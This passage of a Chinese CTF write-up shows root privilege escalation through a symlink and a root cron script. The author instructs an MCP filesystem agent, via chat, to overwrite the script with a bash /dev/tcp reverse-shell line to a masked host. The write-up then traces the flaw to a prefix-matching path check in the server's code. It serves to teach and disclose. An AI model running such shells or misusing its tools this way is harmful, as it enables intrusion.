www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -al /etc/cron.d ls -al /etc/cron.d total 12 drwxr-xr-x. 1 root root 37 Dec 1717:18 . drwxr-xr-x. 1 root root 19 Feb 1614:39 .. -rw-r--r--. 1 root root 102 Mar 22023 .placeholder -rw-r--r--. 1 root root 201 Jun 62025 e2scrub_all -rw-r--r--. 1 root root 77 Dec 1717:19 php www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ cat /etc/cron.d/php cat /etc/cron.d/php * * * * * root [ -x /usr/lib/php/sessionclean ]&& /usr/lib/php/sessionclean www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -al /usr/lib/php/sessionclean <74:/var/www/html$ ls -al /usr/lib/php/sessionclean -rwxrwxr-x. 1 root mcp 26 Dec 1717:19 /usr/lib/php/sessionclean cat /usr/lib/php/sessionclean #!/bin/bash# Cleaning...

  1. getshell 提权
    根据上面的思路,我们创建个软连接指向 /usr/lib/php/sessionclean 然后发指令让 MCP 修改成 revshell,然后让 user:root 定期执行任务的时候执行即可。
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ln -s /usr/lib/php/sessionclean ./clean <r/www/html$ ln -s /usr/lib/php/sessionclean ./clean www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -l clean ls -l clean lrwxrwxrwx. 1 www-data www-data 25 Feb 1615:22 clean -> /usr/lib/php/sessionclean www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -l ls -l total 40 -rwxrwxr-x. 1 mcp www-data 10186 Dec 1717:18 chat.php lrwxrwxrwx. 1 www-data www-data 25 Feb 1615:22 clean -> /usr/lib/php/sessionclean (...)
发指令让 mcp 修改软连接对应的文件
用 mcp 改写软连接

查看下,任务计划对应的脚本已经被改成了 revshell

www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ cat /usr/lib/php/sessionclean cat /usr/lib/php/sessionclean <?php system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1' ");www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ 

静等一分钟,看到反弹回来了 root 权限的账号,到 /root 中可以找到 flag

拿到了 root 的反弹

漏洞原因

为什么 mcp server 指定的目录是 /var/www/h 但是可以修改 /var/www/html 中的内容?导致这个服务器被攻击者可以从对话这里就写入 webshell 打开了突破口?
我们调试下靶机,在 /var/www/ 文件夹中创建其他文件夹测试下

root@cl-12-1bfb5a1a523ae074:~# mkdir /var/www/haaa /var/www/hbbb mkdir /var/www/haaa /var/www/hbbb root@cl-12-1bfb5a1a523ae074:~# chown mcp:mcp /var/www/haaa /var/www/hbbb chown mcp:mcp /var/www/haaa /var/www/hbbb 

然后我们发送指令

在 /var/www/haaa 文件夹下创建文件 haaasuccess.txt ,写入内容 success in haaa
在 /var/www/hbbb 文件夹下创建文件 hbbbsuccess.txt ,写入内容 success in hbbb

实验可知,虽然这2个文件夹不是 allowed_directories 但是 MCP 依旧可以访问并且可以操作。

在这里插入图片描述


测下其他文件夹,我们创建个 /var/www/bbbb 然后尝试往里写文件

root@cl-12-1bfb5a1a523ae074:/var/www/hbbb# mkdir ../bbbbmkdir../bbbb root@cl-12-1bfb5a1a523ae074:/var/www/hbbb# chown ../bbbb mcp:mcpchown../bbbb mcp:mcp chown: invalid user: '../bbbb'

这次失败了。

在这里插入图片描述


目前的配置下我们得出的结论,只要是 /var/www/h 开头的文件夹是可以被 mcp 操作的。问题代码在 /opt/mcp-server/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js 文件的的第 50 行左右。

 42 // Security utilities 43 async function validatePath(requestedPath) { 44 const expandedPath = expandHome(requestedPath); 45 const absolute = path.isAbsolute(expandedPath) 46 ? path.resolve(expandedPath) 47 : path.resolve(process.cwd(), expandedPath); 48 const normalizedRequested = normalizePath(absolute); 49 // Check if path is within allowed directories 50 const isAllowed = allowedDirectories.some(dir => normalizedRequested.startsWith(dir)); 51 if (!isAllowed) { 52 throw new Error(`Access denied - path outside allowed directories: ${absolute} not in ${allowedDirectories.join(', ')}`); 53 } 54 // Handle symlinks by checking their real path 55 try { 56 const realPath = await fs.realpath(absolute); 57 const normalizedReal = normalizePath(realPath); 58 const isRealPathAllowed = allowedDirectories.some(dir => normalizedReal.startsWith(dir)); 59 if (!isRealPathAllowed) { 60 throw new Error("Access denied - symlink target outside allowed directories"); 61 } 62 return realPath; 63 } 64 catch (error) { 65 // For new files that don't exist yet, verify parent directory 66 const parentDir = path.dirname(absolute); 67 try { 68 const realParentPath = await fs.realpath(parentDir); 69 const normalizedParent = normalizePath(realParentPath); 70 const isParentAllowed = allowedDirectories.some(dir => normalizedParent.startsWith(dir)); 71 if (!isParentAllowed) { 72 throw new Error("Access denied - parent directory outside allowed directories"); 73 } 74 return absolute; 75 } 76 catch { 77 throw new Error(`Parent directory does not exist: ${parentDir}`); 78 } 79 } 80 } 

本文抛砖引玉,感谢阅读。

Read more

RUST异步微服务架构的最佳实践与常见反模式

RUST异步微服务架构的最佳实践与常见反模式

RUST异步微服务架构的最佳实践与常见反模式 一、项目优化前的问题分析 1.1 任务调度不合理 💡在第21篇项目中,用户同步服务的任务调度使用了Cron调度器,但Cron调度器的精度有限,可能导致任务执行延迟。此外,任务的并发度没有配置,可能导致任务积压。 1.2 I/O资源限制不足 订单处理服务的TCP连接队列大小没有配置,可能导致连接失败。数据库连接池的大小没有配置,可能导致数据库连接耗尽。 1.3 同步原语使用不当 实时监控服务中,Redis连接没有使用连接池,可能导致连接开销过大。任务结果的处理没有使用批量操作,可能导致上下文切换过多。 1.4 错误处理不完善 任务失败的处理逻辑不够完善,没有进行任务重试和错误统计。服务之间的通信没有进行超时管理和错误处理。 二、异步架构设计模式的应用 2.1 命令查询分离(CQS) CQS是一种架构设计模式,将系统的操作分为命令和查询两种类型。命令用于修改系统状态,查询用于获取系统状态,两者互不干扰。 在项目中,我们可以将用户同步任务视为命令操作,将系统状态查询视为查询操作: // 用户同步任务(

By Ne0inhk
新能源汽车电子架构革命:深度解析AUTOSAR标准与实践

新能源汽车电子架构革命:深度解析AUTOSAR标准与实践

新能源汽车电子架构革命:深度解析AUTOSAR标准与实践(附完整技术图谱) 引言:软件定义汽车时代的破局之道 在特斯拉FSD芯片算力突破72TOPS、华为ADS 2.0实现城市高阶智驾的今天,一场围绕汽车"大脑"的战争正在悄然打响。传统分布式电子架构已逼近物理极限,而集中式EE架构的进化离不开底层软件的革新——这就是AUTOSAR标准诞生的时代背景。本文将从技术原理、工程实践、未来趋势三个维度,为您揭开智能汽车灵魂的神秘面纱。 目录 * 第一章 AUTOSAR的前世今生:汽车软件革命的序章 * 第二章 技术解密:AUTOSAR的三层架构精要 * 第三章 工程实践:AUTOSAR落地全流程详解 * 第四章 进阶应用:新能源汽车场景实践 * 第五章 未来趋势:AUTOSAR的进化之路 * 结语:站在软件定义汽车的十字路口 第一章 AUTOSAR的前世今生:汽车软件革命的序章 1.1 行业困局:当摩尔定律遇见机械工业 (插入图表:2010-2025年汽车ECU数量增长曲线) 传统架构痛点解析: 硬件依赖症:

By Ne0inhk
【MYSQL】MYSQL学习的一大重点:MYSQL库的操作

【MYSQL】MYSQL学习的一大重点:MYSQL库的操作

🎬 个人主页:艾莉丝努力练剑 ❄专栏传送门:《C语言》《数据结构与算法》《C/C++干货分享&学习过程记录》 《Linux操作系统编程详解》《笔试/面试常见算法:从基础到进阶》《Python干货分享》 ⭐️为天地立心,为生民立命,为往圣继绝学,为万世开太平 🎬 艾莉丝的简介: 文章目录 * 0 ~> 实际场景:创建和删除数据库 * 0.1 创建方式1 * 0.2 创建方式2 * 0.3 创建方式3 * 1 ~> 数据库的编码集 * 1.1 目前整个数据库支持的字符集 * 1.2 目前整个数据库支持的字符集 * 1.3 UTF-8需要设置配置文件 * 1.4 MySQL 中与字符集排序规则(

By Ne0inhk
IoTDB AINode 实战指南:SQL 原生时序 AI 建模,毫秒级预测 / 异常检测落地

IoTDB AINode 实战指南:SQL 原生时序 AI 建模,毫秒级预测 / 异常检测落地

IoTDB AINode 实战指南:SQL 原生时序 AI 建模,毫秒级预测 / 异常检测落地 AINode 作为 IoTDB 原生时序 AI 节点,内置 Timer 系列等业界领先时序大模型,支持通过标准 SQL 语句完成模型注册、管理与推理全流程,无需 Python/Java 编程,更无需迁移 IoTDB 存储的数据。本文详细拆解 AINode 的核心优势、模型注册 / 调用 / 权限管理等关键操作,结合电力负载预测、变电站电压预测、民航旅客异常检测三大工业级案例,手把手演示如何通过简单 SQL 实现时序数据的趋势预测、缺失值填补与异常识别,助力开发者快速落地毫秒级实时时序 AI 应用。 AINode 是支持时序相关模型注册、管理、调用的 IoTDB

By Ne0inhk